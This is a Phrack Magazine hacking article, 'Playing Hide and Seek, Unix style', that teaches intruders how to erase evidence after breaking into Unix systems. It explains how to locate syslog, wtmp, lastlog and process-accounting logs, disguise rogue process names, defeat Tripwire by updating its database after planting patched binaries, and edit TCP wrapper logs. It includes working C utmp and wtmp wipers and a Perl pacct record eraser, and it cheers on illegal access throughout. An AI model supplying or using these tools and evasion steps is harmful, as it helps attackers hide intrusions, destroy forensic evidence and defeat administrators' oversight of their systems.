==Phrack Magazine==

Volume Four, Issue Forty-Three, File 14 of 27

```
#!/bin/sh
# Playing Hide and Seek, Unix style.
# By Phreak Accident
#
# A "how-to" in successfully hiding and removing your electronic footprints
# while gaining unauthorized access to someone else's computer system (Unix in
# this case).


# Start counting ..
```

Hmm. Sucks don't it? Breaking into a system but only to have your access cut off the next day. Right before you had the chance to download that 2 megabyte source code file you have been dying to get all year.

Why was the access cut? Damn, you forgot to nuke that .rhosts file that you left in the root directory. Or maybe it was the wtmp entries you didn't bother to edit. Or perhaps the tcp_wrapper logs that you didn't bother to look for. Whatever it was, it just screwed your access and perhaps, just got you busted.


---- Simulated incident report follows:

From: mark@abene.com (Mark Dorkenski)
Message-Id: <9305282324.AA11445@jail.abene.com>
To: incident-report@cert.org
Subject: Cracker Breakin
Status: RO

To whom it may concern,

Last night 2 of our machines were penetrated by an unauthorized user. Apparently the cracker (or crackers) involved didn't bother to clean up after they left.

The following are logs generated from the time the break-in occurred.

[/usr/adm/wtmp]:

```
oracle    ttyp1    192.148.8.15     Tue May 11 02:12 - 04:00  (02:12)
sync      ttyp2    192.148.8.15     Tue May 11 01:47 - 01:47  (00:00)
robert    console                   Mon May 10 06:00 - 04:15  (22:14)
reboot    ~                         Mon May 10 05:59
shutdown  ~                         Sun May  9 11:04
```

[/usr/adm/messages]:

```
May  11 02:02:54 abene.com login: 3 LOGIN FAILURES FROM 192.148.8.15
May  11 02:00:32 abene.com login: 4 LOGIN FAILURES FROM 192.148.8.15
```

[/usr/adm/pacct]:

```
ls          -     oracle   ttyp1      0.00 secs Tue May  2 19:37
cat         -     oracle   ttyp1      0.00 secs Tue May  2 19:37
```

```
ls         -     oracle   ttyp1      0.00 secs Tue May  2 19:37
ls         -     oracle   ttyp1      0.00 secs Tue May  2 19:37
rdist      -     root     ttyp1      0.00 secs Tue May  2 19:37
sh         -     root     ttyp0      0.00 secs Tue May  2 19:37
ed         -     root     ttyp0      0.00 secs Tue May  2 19:37
rlogin     -     root     ttyp0      0.00 secs Tue May  2 19:37
ls         -     root     ttyp0      0.00 secs Tue May  2 19:37
more       -     root     ttyp0      0.00 secs Tue May  2 19:34
```

We have found and plugged the areas of vulnerability and have restored original binaries back to the system. We have already informed the proper authorities of the breakin, including the domain contact at the remote host in question.

Can you please relay any information regarding incident reports in our area?

Mark Dorkenski
Network Operations

---- End of incident report

Hey, it's human nature to be careless and lazy. But, when you're a hacker, and you're illegally breaking into computer systems this isn't a luxury that you can afford. Your efforts in penetrating have to be exact, concise, sharp, witty and skillful. You have to know when to retreat, run, hide, pounce or spy. Let us put it this way, when you get your feet muddy and walk on new carpet without cleaning it up, you're gonna get spanked.

I can't tell you how many times I've see a hacker break into a system and leave their muddy footprints all over the system. Hell, a quarter of the hosts on the Internet need to be steam-cleaned.

This is sad. Especially since you could have had the ability to do the washing yourself. Why bother cracking systems if you leave unauthorized login messages on the console for the administrators? Beats me.

This article is about hiding your access--the little tricks of the trade that keep you unnoticed and hidden from that evil bastard, the system administrator.

I should probably start by explaining exactly where common accounting/log files are kept and their roles in keeping/tracking system information.

# Drinking jolt and jerking the logs

Syslog(3), The "Big Daddy" of logging daemons, is the master of all system accounting and log reporting. Most system components and applications depend on syslogd to deliver the information (accounting, errors, etc.) to the appropriate place. Syslog (syslogd) reads a configuration file (/etc/syslog.conf) on startup to determine what facilities it will support.

Syslog ususally has the following facilities and priorities:

Facilities: kern user mail daemon auth syslog lpr news uucp
Priorities: emerg alert crit err warning notice info debug

Facilities are the types of accounting that occur and priorities are the level of urgency that the facilities will report. Most facilities are divided and logged into separate accounting files. The common being daemon, auth, syslog, and kern.

Priorities are encoded as a facility and a level. The facility usually describes the part of the system generating the message. Priorities are defined in <sys/syslog.h>.

In order to by-pass or suspend system accounting it is necessary to understand how it works. With syslog, it is important to know how to read and determine where accounting files are delivered. This entails understanding how syslog configures itself for operation.

# Reading and understanding /etc/syslog.conf.

Lines in the configuration file have a selector to determine the message priorities to which the line applies and an action. The action fields are separated from the selector by one or more tabs.

Selectors are semicolon separated lists of priority specifiers. Each priority has a facility describing the part of the system that generated the message, a dot, and a level indicating the severity of the message. Symbolic names could be used. An asterisk selects all facilities. All messages of the specified level or higher (greater severity) are selected. More than one facility may be selected using commas to separate them. For example:

```
*.emerg;mail,daemon.crit
```

selects all facilities at the emerg level and the mail and daemon facilities at the crit level.

Known facilities and levels recognized by syslogd are those listed in syslog(3) without the leading ``LOG_''. The additional facility ``mark'' has a message at priority LOG_INFO sent to it every 20 minutes (this may be changed with the -m flag). The ``mark'' facility is not enabled by a facility field containing an asterisk. The level ``none'' may be used to disable a particular facility. For example,

```
*.debug;mail.none
```

Sends all messages except mail messages to the selected file.

The second part of each line describes where the message is to be logged if this line is selected. There are four forms:

- o A filename (beginning with a leading slash). The file will be opened in append mode.

- o A hostname preceded by an at sign (``@''). Selected messages are forwarded to the syslogd on the named host.

- o A comma separated list of users. Selected messages are written to those users if they are logged in.

- o An asterisk. Selected messages are written to all logged-in users.

For example, the configuration file:

```
kern,mark.debug /dev/console
*.notice;mail.info /usr/spool/adm/syslog
```

```
*.crit              /usr/adm/critical
kern.err  @phantom.com
*.emerg  *
*.alert  erikb,netw1z
*.alert;auth.warning ralph
```

logs all kernel messages and 20 minute marks onto the system console, all notice (or higher) level messages and all mail system messages except debug messages into the file /usr/spool/adm/syslog, and all critical messages into /usr/adm/critical; kernel messages of error severity or higher are forwarded to ucbarpa. All users will be informed of any emergency messages, the users ``erikb'' and ``netw1z'' will be informed of any alert messages, or any warning message (or higher) from the authorization system.

Syslogd creates the file /etc/syslog.pid, if possible, containing a single line with its process id; this is used to kill or reconfigure syslogd.

# System login records

There are there basic areas (files) in which system login information is stored. These areas are:

```
/usr/etc/wtmp
/usr/etc/lastlog
/etc/utmp
```

The utmp file records information about who is currently using the system. The file is a sequence of entries with the following structure declared in the include file (/usr/include/utmp.h):

```
struct utmp {
      char    ut_line[8];             /* tty name */
      char    ut_name[8];             /* user id */
      char    ut_host[16];            /* host name, if remote */
      long    ut_time;                /* time on */
};
```

This structure gives the name of the special file associated with the user's terminal, the user's login name, and the time of the login in the form of time(3C). This will vary from platform to platform. Since Sun Microsystems ships SunOs with a world writable /etc/utmp, you can easily take yourself out of any who listing.

The wtmp file records all logins and logouts. A null username indicates a logout on the associated terminal. Furthermore, the terminal name '~' indicates that the system was rebooted at the indicated time; the adjacent pair of entries with terminal names '|' and '{' indicate the system maintained time just before and just after a date command has changed the system's idea of the time.

Wtmp is maintained by login(1) and init(8). Neither of these programs creates the file, so if it is removed or renamed record-keeping is turned off. Wtmp is used in conjunction with the /usr/ucb/last command.

/usr/adm/lastlog is used by login(1) for storing previous login dates, times, and connection locations. The structure for lastlog is as follows:

```
struct lastlog {
      time_t  ll_time;
```

```
                char    ll_line[8];
                char    ll_host[16];
          };
```

The structure for lastlog is quite simple. One entry per UID, and it is stored in UID order.

Creating a lastlog and wtmp editor is quite simple. Example programs are appended at the end of this file.

# System process accounting

Usually, the more security-conscience systems will have process accounting turned on which allows the system to log every process that is spawned. /usr/adm/acct or /usr/adm/pacct are the usual logfiles that store the accounting data. These files can grow quite large as you can imagine, and are sometimes shrunk by other system applications and saved in a compressed format as /usr/adm/savacct or something similar.

Usually, if the accounting file is there with a 0 byte length then you can rest assured that they are not keeping process accounting records. If they are however, there are really only two methods of hiding yourself from this form of accounting. One, you can suspend or stop process accounting ( which is usually done with the "accton" command) or you can edit the existing process logfile and "wipe" your incriminating records.

Here is the common structure for the process accounting file:

```
  struct  acct
  {
        char    ac_comm[10];            /* Accounting command name */
        comp_t  ac_utime;               /* Accounting user time */
        comp_t  ac_stime;               /* Accounting system time */
        comp_t  ac_etime;               /* Accounting elapsed time */
        time_t  ac_btime;               /* Beginning time */
        uid_t   ac_uid;                 /* Accounting user ID */
        gid_t   ac_gid;                 /* Accounting group ID */
        short   ac_mem;                 /* average memory usage */
        comp_t  ac_io;                  /* number of disk IO blocks */
        dev_t   ac_tty;                 /* control typewriter */
        char    ac_flag;                /* Accounting flag */
   };
```

It is extremely tricky to remove all of your account records since if you do use a program to remove them, the program that you run to wipe the records will still have a process that will be appended to the logfile after it has completed.

An example program for removing process accounting records is included at the end of this article.

Most sysadmins don't pay real attention to the process logs, since they do tend to be rather large and grow fast. However, if they notice that a break-in has occurred, this is one of the primary places they will look for further evidence.

On the other hand, for normal system monitoring, you should be more worried about your "active" processes that might show up in a process table listing (such as ps or top).

Most platforms allow the general changing of the process name without having any kind of privileges to do so.  This is done with a simple program as noted below:

```
  #include <stdio.h>
  #include <string.h>

  int main(argc, argv)
      int argc;
      char **argv;
  {
    char *p;

    for (p = argv[0]; *p; p++)
        *p = 0;

    strcpy(argv[0], "rn");

    (void) getchar ();  /* to allow you to see that ps reports "rn" */
    return(0);
  }
```

Basically, this program waits for a key-stroke and then exits.  But, while it's waiting, if you were to lookup the process it would show the name as being "rn".  You're just actually re-writing the argument list of the spawned process.  This is a good method of hiding your process or program names ("crack", "hackit", "icmpnuker").  Its a good idea to use this method in any "rogue" programs you might not want to be discovered by a system administrator.

If you cant corrupt your process arguments, rename your program to something that at least looks normal on the system.  But, if you do this, make sure that you don't run the command as "./sh" or "./ping" .. Even this looks suspicious. Put your current path in front of your PATH environment variable and avoid this mistake.

# Tripping the wire

That little piss-ant up at Purdue thinks he has invented a masterpiece.. I'll let his words explain what "Tripwire" is all about.  Then, i'll go over some brief flaws in tripwire and how to circumvent it.

---- Tripwire README Introduction

1.0.  Background
================

With the advent of increasingly sophisticated and subtle account break-ins on Unix systems, the need for tools to aid in the detection of unauthorized modification of files becomes clear.  Tripwire is a tool that aids system administrators and users in monitoring a designated set of files for any changes. Used with system files on a regular (e.g., daily) basis, Tripwire can notify system administrators of corrupted or tampered files, so damage control measures can be taken in a timely manner.

1.1.  Goals of Tripwire
=======================

Tripwire is a file integrity checker, a utility that compares a designated set of files against information stored in a previously generated database. Any differences are flagged and logged, and optionally, a user is notified through mail. When run against system files on a regular basis, any changes in critical system files will be spotted -- and appropriate damage control measures can be taken immediately. With Tripwire, system administrators can conclude with a high degree of certainty that a given set of files remain free of unauthorized modifications if Tripwire reports no changes.

---- End of Tripwire excerpt

Ok, so you know what tripwire does. Yup, it creates signatures for all files listed in a tripwire configuration file. So, if you were to change a file that is "tripwired", the proper authorities would be notified and your changes could be recognized. Gee. That sounds great. But there are a couple of problems with this.

First, tripwire wasn't made to run continuously (i.e., a change to a system binary might not be noticed for several hours, perhaps days.) This allows somewhat of a "false" security for those admins who install tripwire.

The first step in beating tripwire is to know if the system you are on is running it. This is trivial at best. The default location where tripwire installs its databases are /usr/adm/tcheck or /usr/local/adm/tcheck.

The "tcheck" directory is basically made up of the following files:

```
-rw-------  1 root         4867 tw.config
drwxr-----  2 root          512 databases
```

The file "tw.config" is the tripwire configuration file. Basically, it's a list if files that tripwire will create signatures for. This file usually consists of all system binaries, devices, and configuration files.

The directory "databases" contains the actual tripwire signatures for every system that is configured in tw.config. The format for the database filenames are tw.db_HOSTNAME. An example signature entry might look like:

```
/bin/login 27 ../z/. 100755 901 1 0 0 50412 .g53Lz .g4nrh .g4nrt 0 1vOeWR/aADgc0
oQB7C1cCTMd 1T2ie4.KHLgS0xG2B81TVUfQ 0 0 0 0 0 0 0
```

Nothing to get excited about. Basically it is a signature encrypted in one of the many forms supplied by tripwire. Hard to forge, but easy to bypass.

Tripwire takes a long time to check each file or directory listed in the configuration file. Therefore, it is possible to patch or change a system file before tripwire runs a signature check on it. How does one do this? Well, let me explain some more.

In the design of tripwire, the databases are supposed to be kept either on a secure server or a read-only filesystem. Usually, if you would want to patch a system binary 9 times out of 10 you're going to want to have root access. Having root access to by-pass tripwire is a must. Therefore, if you can obtain this access then it is perfectly logical that you should be able to remount a filesystem as Read/Write. Once accomplished, after installing your patched binary, all you have to do is:

```
tripwire -update PATH_TO_PATCHED_BINARY
```

Then, you must also:

tripwire -update /usr/adm/tcheck/databases/tw.db_HOSTNAME
(If they are making a signature for the tripwire database itself)

You'll still be responsible for the changed inode times on the database. But that's the risk you'll have to live with. Tripewire wont detect the change since you updated the database. But an admin might notice the changed times.

# Wrapping up the wrappers

Ta da. You got the access. uh-oh. What if they are running a TCP wrapper? There are three basic ways they could be running a wrapper.

1) They have modified /etc/inetd.conf and replaced the daemons they want to wrap with another program that records the incoming hostname and then spawns the correct daemon.

2) They have replaced the normal daemons (usually in /usr/etc) with a program that records the hostname then launches the correct daemon.

3) They have modified the actual wrappers themselves to record incoming connections.

In order to bypass or disable them, you'll first need to know which method they are using.

First, view /etc/inetd.conf and check to see if you see something similar to:

```
telnet  stream  tcp     nowait  root    /usr/etc/tcpd     telnetd ttyXX
```

This is a sure sign that they are running Wietse Venema's tcp_wrapper.

If nothing is found in /etc/inetd.conf, check /usr/etc and check for any abnormal programs such as "tcpd", "wrapd", and "watchcatd". Finally, if nothing is still found, try checking the actually daemons by running "strings" on them and looking for logfiles or by using sum and comparing them to another system of the same OS that you know is not using a wrapper.

Okay, by now you know whether or not they have a wrapper installed. If so you will have to now decide what to do with the output of the wrapper. You'll have to know where it put the information. The most common wrapper used is tcp_wrapper. Here is another README excerpt detailing where the actually output from the wraps are delivered.

---- Begin of tcp_wrapper README

3.2 - Where the logging information goes
----------------------------------------

The wrapper programs send their logging information to the syslog daemon (syslogd). The disposition of the wrapper logs is determined by the syslog configuration file (usually /etc/syslog.conf). Messages are written to files, to the console, or are forwarded to a @loghost.

Older syslog implementations (still found on Ultrix systems) only support priority levels ranging from 9 (debug-level messages) to 0 (alerts). All logging information of the same priority level (or more urgent) is written to the same destination. In the syslog.conf file, priority levels are specified in numerical form. For example, 8/usr/spool/mqueue/syslog

causes all messages with priority 8 (informational messages), and anything that is more urgent, to be appended to the file /usr/spool/mqueue/syslog.

Newer syslog implementations support message classes in addition to priority levels. Examples of message classes are: mail, daemon, auth and news. In the syslog.conf file, priority levels are specified with symbolic names: debug, info, notice, ..., emerg. For example,

    mail.debug   /var/log/syslog

causes all messages of class mail with priority debug (or more urgent) to be appended to the /var/log/syslog file.

By default, the wrapper logs go to the same place as the transaction logs of the sendmail daemon. The disposition can be changed by editing the Makefile and/or the syslog.conf file. Send a ‘kill -HUP’ to the syslogd after changing its configuration file. Remember that syslogd, just like sendmail, insists on one or more TABs between the left-hand side and the right-hand side expressions in its configuration file.

---- End of tcp_wrapper README

Usually just editing the output and hoping the sysadmin didnt catch the the wrap will do the trick since nothing is output to the console (hopefully).

# Example programs

The following are short and sweet programs that give you the ability to edit some of the more common logfiles found on most platforms. Most of these are pretty simple to compile, although some might need minor porting and OS consideration changes in structures and configurations.

---- Begin of /etc/utmp editor:

```
/* This program removes utmp entries by name or number */

#include <utmp.h>
#include <stdio.h>
#include <sys/file.h>
#include <sys/fcntlcom.h>

void usage(name)
char *name;
{
    printf(stdout, "Usage: %s [ user ] or [ tty ]\n", name);
    exit(1);
}

main(argc,argv)
int argc;
char **argv;
{
    int fd;
    struct utmp utmp;
    int size;
    int match, tty = 0;
```

```
    if (argc!=2)
       usage(argv[0]);

    if ( !strncmp(argv[1],"tty",3) )
       tty++;

    fd = open("/etc/utmp",O_RDWR);
    if (fd >= 0)
    {
       size = read(fd, &utmp, sizeof(struct utmp));
       while ( size == sizeof(struct utmp) )
       {
          if ( tty ? ( !strcmp(utmp.ut_line, argv[1]) ) :
            ( !strcmp(utmp.ut_name, argv[1]) ) )
          {
             lseek( fd, -sizeof(struct utmp), L_INCR );
             bzero( &utmp, sizeof(struct utmp) );
             write( fd, &utmp, sizeof(struct utmp) );
          }
          size = read( fd, &utmp, sizeof(struct utmp) );
       }
    }
    close(fd);
}

---- End of /etc/utmp editor

---- Begin of /usr/adm/wtmp editor:

/* This program removes wtmp entries by name or tty number */

#include <utmp.h>
#include <stdio.h>
#include <sys/file.h>
#include <sys/fcntlcom.h>

void usage(name)
char *name;
{
    printf("Usage: %s [ user | tty ]\n", name);
    exit(1);
}

void main (argc, argv)
int argc;
char *argv[];
{
    struct utmp utmp;
    int size, fd, lastone = 0;
    int match, tty = 0, x = 0;

    if (argc>3 || argc<2)
       usage(argv[0]);

    if (strlen(argv[1])<2) {
       printf("Error: Length of user\n");
       exit(1);
    }

    if (argc==3)
       if (argv[2][0] == 'l') lastone = 1;
```

```
    if (!strncmp(argv[1],"tty",3))
       tty++;

    if ((fd = open("/usr/adm/wtmp",O_RDWR))==-1) {
        printf("Error: Open on /usr/adm/wtmp\n");
        exit(1);
    }

    printf("[Searching for %s]:  ", argv[1]);

    if (fd >= 0)
    {
       size = read(fd, &utmp, sizeof(struct utmp));
       while ( size == sizeof(struct utmp) )
       {
          if ( tty ? ( !strcmp(utmp.ut_line, argv[1]) ) :
            ( !strncmp(utmp.ut_name, argv[1], strlen(argv[1])) ) &&
              lastone != 1)
          {
             if (x==10)
                printf("\b%d", x);
             else
             if (x>9 && x!=10)
                printf("\b\b%d", x);
             else
                printf("\b%d", x);
             lseek( fd, -sizeof(struct utmp), L_INCR );
             bzero( &utmp, sizeof(struct utmp) );
             write( fd, &utmp, sizeof(struct utmp) );
             x++;
          }
          size = read( fd, &utmp, sizeof(struct utmp) );
       }
    }
    if (!x)
       printf("No entries found.");
    else
       printf(" entries removed.");
    printf("\n");
    close(fd);
}

---- End of /usr/adm/wtmp editor

---- Begin of /usr/adm/lastcomm editor:

#!/perl

package LCE;

$date = 'Sun Jul  4 20:35:36 CST 1993';
$title = 'LCE';
$author = 'Phreak Accident';
$version = '0.0';
$copyright = 'Copyright Phreak Accident';


#------------------------------------------------------------------------------
# begin getopts.pl

# Usage: &Getopts('a:bc');  # -a takes arg. -b & -c not. Sets opt_*.
```

```
sub Getopts {
    local($argumentative)=@_;
    local(@args,$_,$first,$rest,$errs);
    local($[)=0;

    @args=split(/ */, $argumentative );
    while(($_=$ARGV[0]) =~ /^-(.)(.*)/) {
        ($first,$rest) = ($1,$2);
        $pos = index($argumentative,$first);
        if($pos >= $[) {
            if($args[$pos+1] eq ':') {
                shift(@ARGV);
                if($rest eq '') {
                    $rest = shift(@ARGV);
                }
                eval "\$opt_$first = \$rest;";
            }
            else {
                eval "\$opt_$first = 1";
                if($rest eq '') {
                    shift(@ARGV);
                }
                else {
                    $ARGV[0] = "-$rest";
                }
            }
        }
        else {
            print STDERR "Unknown option: $first\n";
            ++$errs;
            if($rest ne '') {
                $ARGV[0] = "-$rest";
            }
            else {
                shift(@ARGV);
            }
        }
    }
    $errs == 0;
}

#  end  getopts.pl
#----------------------------------------------------------------------------

sub Initialize {

  $TRUE = '1';                                   # '1' = TRUE  = '1'
  $FALSE = '';                                   # ''  = FALSE = ''

  &Getopts('a:u:o:');                            # Parse command line options
  $acct = $opt_a || $ENV{'ACCT'} || '/var/adm/pacct';
  $user = $opt_u || $ENV{'USER'} || `/bin/whoami` || 'root';
  $outf = $opt_o || $ENV{'OUTF'} || './.pacct';

  select(STDOUT); $|++;
  close(I);
  open(I,'(cd /dev; echo tty*)|');
  $ttys=<I>;
  close(I);
  @ttys = split(/ /,$ttys);
  for $tty (@ttys) {
```

```
    ($dev,$ino,$mode,$nlink,$uid,$gid,$rdev,$size,
     $atime,$mtime,$ctime,$blksize,$blocks) = stat("/dev/$tty");
     $TTY{"$rdev"} = "$tty";
  }
  $TTY{'65535'} = 'NoTTY';

# Get passwd info --> id:passwd:uid:gid:name:home:shell
  close (I);
#  open(I,"cat /etc/passwd|");  # If you don't run nis...
  open(I,"ypcat passwd|");
  while (<I>) {
    chop;
    split(/:/);
    $PASSWD{"$_[$[+2]"}= $_[$[];
  }
  $PASSWD{"0"}= 'root';

# Get group info --> id:passwd:gid:members
  close (I);
#  open(I,"cat /etc/group|");   # If you don't run nis...
  open(I,"ypcat group | ");
  while (<I>) {
    chop;
    split(/:/);
    $GROUP{"$_[$[+2]"}= $_[$[];
  }
}
split(/ /,'Sun Mon Tue Wed Thu Fri Sat');
for ($x=$[ ; $x<$#_ ; $x++) {
  $DAY{"$x"} = $_[$x];
}
split(/ /,'Error Jan Feb Mar Apr MAy Jun Jul Aug Sep Oct Nov Dec');
for ($x=$[ ; $x<$#_ ; $x++) {
  $MONTH{"$x"} = $_[$x];
}

#-----------------------------------------------------------------------------

sub LCE {
  &Initialize();
  open(I,"<$acct");
  close(O);
  open(O,">$outf");
  $template='CCSSSLSSSSSSA8';
  while (read(I,$buff,32)) {
    ($c1,$c2,$u,$g,$d,$bt,$ut,$st,$et,$o4,$o5,$o6,$c3) =
      unpack($template,$buff);
    ($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst) =
      localtime($bt);
    $mon++;
    $mon = "0$mon" if ($mon < 10);
    $mday = "0$mday" if ($mday < 10);
    $hour = "0$hour" if ($hour < 10);
    $min = "0$min" if ($min < 10);
    $sec = "0$sec" if ($sec < 10);
    $tt = localtime($bt);
    $flags='';
    if ($c1 & 0001) { $flags .= 'F'; }
    if ($c1 & 0002) { $flags .= 'S'; }
    if ($c1 & 0004) { $flags .= 'P'; }
    if ($c1 & 0010) { $flags .= 'C'; }
```

```
    if ($c1 & 0020) { $flags .= 'K'; }
    if ($c1 & 0300) { $flags .= 'A'; }
    $c3 =~ s/\000.*$//;
    print STDOUT "$c3   $flags  $PASSWD{$u}/$GROUP{$g}  $TTY{$d}";
    print STDOUT "      $DAY{$wday} $hour:$min:$sec";
    if ($PASSWD{$u} eq $user) {
      print " [ERASED] ";
    } else {
      print O pack($template,$c1,$c2,$u,$g,$d,$bt,$ut,$st,$et,$o4,$o5,$o6,$c3);
    }
    print "\n";
  }
  close(O);
}

#-------------------------------------------------------------------------------

&LCE();

#struct acct
#  {
#       char    ac_flag;                /* Accounting flag */
#       char    ac_stat;                /* Exit status */
#       uid_t   ac_uid;                 /* Accounting user ID */
#       gid_t   ac_gid;                 /* Accounting group ID */
#       dev_t   ac_tty;                 /* control typewriter */
#       time_t  ac_btime;               /* Beginning time */
#       comp_t  ac_utime;               /* Accounting user time */
#       comp_t  ac_stime;               /* Accounting system time */
#       comp_t  ac_etime;               /* Accounting elapsed time */
#       comp_t  ac_mem;                 /* average memory usage */
#       comp_t  ac_io;                  /* chars transferred */
#       comp_t  ac_rw;                  /* blocks read or written */
#       char    ac_comm[8];             /* Accounting command name */
#  };
#
#  #define      AFORK   0001            /* has executed fork, but no exec */
#  #define  ASU 0002            /* used super-user privileges */
#  #define      ACOMPAT 0004            /* used compatibility mode */
#  #define      ACORE   0010            /* dumped core */
#  #define      AXSIG   0020            /* killed by a signal */
#  #define      ACCTF   0300            /* record type: 00 = acct */

---- End of /usr/adm/lastcomm editor
```

# All good things must come to an end

In conclusion, you need to be smarter than the administrator.  Being careless can get you busted.  Clean your footprints.  Watch the system. Learn new tricks.  AND KEEP ON HACKING!

Watch for my next article on 50 great system patches that will keep your access just the way it is .. illegal.  Yaawhoo.

# End of article